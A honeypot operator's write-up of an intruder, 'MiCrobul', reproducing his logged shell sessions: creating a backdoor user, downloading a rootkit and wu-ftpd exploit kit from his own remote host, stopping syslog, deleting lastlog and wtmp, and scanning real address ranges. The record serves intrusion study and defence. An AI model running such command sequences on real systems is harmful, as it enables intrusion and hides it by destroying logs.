MiCrobul

A few days after the honeypot got cracked something strange happened. It got cracked again :) Apparently our dear MASTER-0N didn't close the hole. Although he echoed "anonymous" into /etc/users and /etc/ftpusers. After pulling the box down I found /etc/users isn't there and there's no "anonymous" in /etc/ftpusers. I really have no clue why though.. Update: I now know why: apparently MASTER-0N was using a script for installing his rootkit which had commentsigns '#' in front of the echo's, didn't notice them in the distorted telnet logs snort made at that time.

Anyway.. the hole wasn't closed. So it wouldn't take long before somebody would stop by and try again. It happened on June 22th, at 03:42. After gaining a root-shell the user 'tcp' was created.

/usr/sbin/adduser tcp
/usr/bin/passwd tcp
xxxxxxxx
xxxxxxxx
Changing password for user tcp
passwd: all authentication tokens updated successfully

After that 'mrk.tgz' was downloaded from microbul.home.ro, extracted and installed using './install'. Get it here. This file contains altered 'ps', 'top', 'ifconfig' and 'netstat' binaries, a sniffer, a cgi-binary, an install script, a log-cleaning script and a backdoor sshd. Take a look at http://project.honeynet.org/scans/scan13/som/som18.txt or som17.txt for more information about the rootkit. The installed sshd is started and MiCrobul logs in at 03:44.

First MiCrobul checks if there's not somebody other than him logged in.

[root@hostname mtr]# w
3:44am up 153 days, 11:59, 2 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
tcp ttyp0 194.176.177.53 3:40am 3:59 0.04s ? -

No problem. Then he checks for listening daemons. Something weird shows up, a daemon listening on port 50001. The listener on port 2128 is his own sshd. Port 98 is linuxconf.

[root@hostname mtr]# netstat -an | grep LIST
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:98 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:50001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2128 0.0.0.0:* LISTEN

Now let's check which process is using that socket and kill it.

[root@hostname mtr]# /sbin/fuser -n tcp 50001
50001/tcp: 10962
[root@hostname mtr]# kill -9 10962

Every person needs his social contacts, so why not download psy? Unlike MASTER-0N MiCrobul doesn't waste his private webspace for a copy of psybnc. Instead he uses efnet.org's copy.

[root@hostname mtr]# lynx http://www.efnet.org/software/bouncers/psybnc/psyBNC2.2.2.tar.gz

After untarring, building and configuring (he uses pico as editor) the pybnc binary is started. A check is done to see if it runs:

[root@hostname psybnc]# netstat -an | grep LIST
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2128 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2129 0.0.0.0:* LISTEN

Lo and behold, a process listening on port 2129, it's psy. For your pleasure here's the commands MiCrobul ran this session.

w
netstat -an | grep LIST
/sbin/fuser -n tcp 50001
ps ax
kill -9 10962
netstat -an | grep LIST
/sbin/fuser -n tcp 21
kill -9 368
netstat -an | grep LIST
wget http://www.efnet.org/software/bouncers/psybnc/psyBNC2.2.2.tar.gz
lynx http://www.efnet.org/software/bouncers/psybnc/psyBNC2.2.2.tar.gz
ls
tar zxvf psyBNC2.2.2.tar.gz
ls
rm -rf psyBNC2.2.2.tar.gz
ls
/etc/rc.d/init.d/syslog stop
cd var/log
cd ..
cd ll
cd ..
ls
cd var
cd log
ls
rm -rf lastlog wtmp.1
ls
cd /home
ls
cd mtr
ls
cd psybnc
ls
make
ls
pico psybnc.conf
./psybnc
netstat -an | grep LIST
clear
cd ..
ls
cd ..
ls

At 04.00 MiCrobul comes in again, just to check if there's anyone logged in.

Bash started on Sat Jun 22 04:00:33 2002
[root@hostname mtr]# w
4:00am up 153 days, 12:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[root@hostname mtr]#

That same afternoon, at 14:28 MiCrobul logs in again. Let's see what he did.

[root@hostname mtr]# w
2:28pm up 154 days, 22:43, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[root@hostname mtr]# last
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.
[root@hostname mtr]# /usr/tcp/ftp
bash: /usr/tcp/ftp: No such file or directory
[root@hostname mtr]# cd ..
[root@hostname /home]# cd ..
[root@hostname /]# cd usr
[root@hostname /usr]# mkdir tcp
[root@hostname /usr]# ftp
ftp> o
(to) microbul.home.ro
Connected to microbul.home.ro.
220 Home.ro Members FTP
Name (microbul.home.ro:admin): microbul
331 Password required for microbul.
Password:
230 User microbul logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
...

Ok.. first he checks if there is or has been somebody online. Since I let the box alone nothing shows up (I deleted the wtmp file before putting the box online) and MiCrobul continues. It seems /usr/tcp/ftp is his default storage directory for evil tools. Because the directory is nonexistant, he creates it and ftp's in on his webspace at home.ro. Let's see what's stored there.

drwx------ 2 free web 22 Apr 8 2001 _private
drwxr-xr-x 4 free web 52 Apr 8 2001 _vti_bin
drwxr-xr-x 2 free web 22 Jun 9 2001 _vti_cnf
drwxr-xr-x 2 free web 22 Apr 8 2001 _vti_log
drwxr-xr-x 2 free web 4096 Jun 9 2001 _vti_pvt
drwxr-xr-x 2 free web 22 Jun 9 2001 _vti_txt
-rw-r--r-- 1 free web 187603 Jun 5 21:21 ftp.tgz
-rw-r--r-- 1 free web 177063 Jun 20 22:05 mbk.tgz
-rw-r--r-- 1 free web 177030 Jun 22 01:05 mrk.tgz
-rw-r--r-- 1 free web 15755 May 27 23:19 scan
-rw-r--r-- 1 free web 45920 Jun 1 06:05 ssh3.tar.gz
-rw-r--r-- 1 free web 223144 Apr 23 21:19 x4.tgz
-rw-r--r-- 1 free web 4305 Jun 5 23:50 x6.tgz

Besides some MS Frontpage (TM) (R) (C) (etc) crap there's some gzipped tars too, mrk.tgz probably being MiCrobul RootKit, whereas mbk.tgz is a backup. x4 and x6 are exploits for the OpenSSH deattack.c bug. I've seen x2, x3, x4 and x6 in the wild now, what about x1 and x5? (Update: x6 is backdoored and sends the system information of the system it runs on to the creator via e-mail.)

MiCrobul grabs the ftp.tgz file, which you can get here. The file contains:

[root@hostname tcp]# tar zxvf ftp.tgz
ftp/
ftp/awu
ftp/7350wurm
ftp/luckscan-a.c
ftp/scan

These are scanning and exploiting tools for wu-ftpd, by which my Honeypot got found and cracked too. MiCrobul begins scanning some networks:

[root@hostname ftp]# ./scan 209 21 239 41 1
Lets try to root the 209.239.41.1
Checking 209.239.41.1 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.44.240
Checking 209.239.44.240 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.49.111
Checking 209.239.49.111 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.52.196
Checking 209.239.52.196 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.56.204
Checking 209.239.56.204 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.60.170
Checking 209.239.60.170 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...
Lets try to root the 209.239.76.134
Checking 209.239.76.134 for vulnerable wu-ftpd 2.x < 2.6.2: failed
We continue to hack ...

What MiCrobu didn't know was that although he was scanning with about 30KByte/s, outgoing TCP SYN packets were limited to 2KByte per second, and because I noticed he was scanning even to a few bytes/sec. His scan couldn't get far. While tcpdumping behind the limiter I found that there were only a few packets per C-class going to the internet, nice :)

At June 25th MiCrobul logged in again to scan a few more networks. The first few scans I didn't notice, since I was having lunch, but I monitored him during the rest of the scans. I fiddled a bit with the limiter to limit all outgoing TCP SYN's on port 21 or to let a few byte/s through to avoid raising suspicioun. Problem was, he could find out he was being limited. That and the fact that he wasn't doing anything interesting I hadn't seen/logged made me firewall the box, effectively disconnecting it from the internet.

 

Well.. this is it. My first honeypot. To me it was a relative success. Last time I was involved with such a project I was able to track down a stacheldraht ddos-network and a botnet. By mailing admins I was able to weaken the ddos-network and disconnect half the botnet. This time both the kiddo's didn't seem to have a ddos-net nor a botnet. MASTER-ON only installed a IRC-bouncer, MiCrobul only used my honeypot as a scanning platform. Perhaps next time better, although I could always trojanize MiCrobul's rootkit to have my fun >;)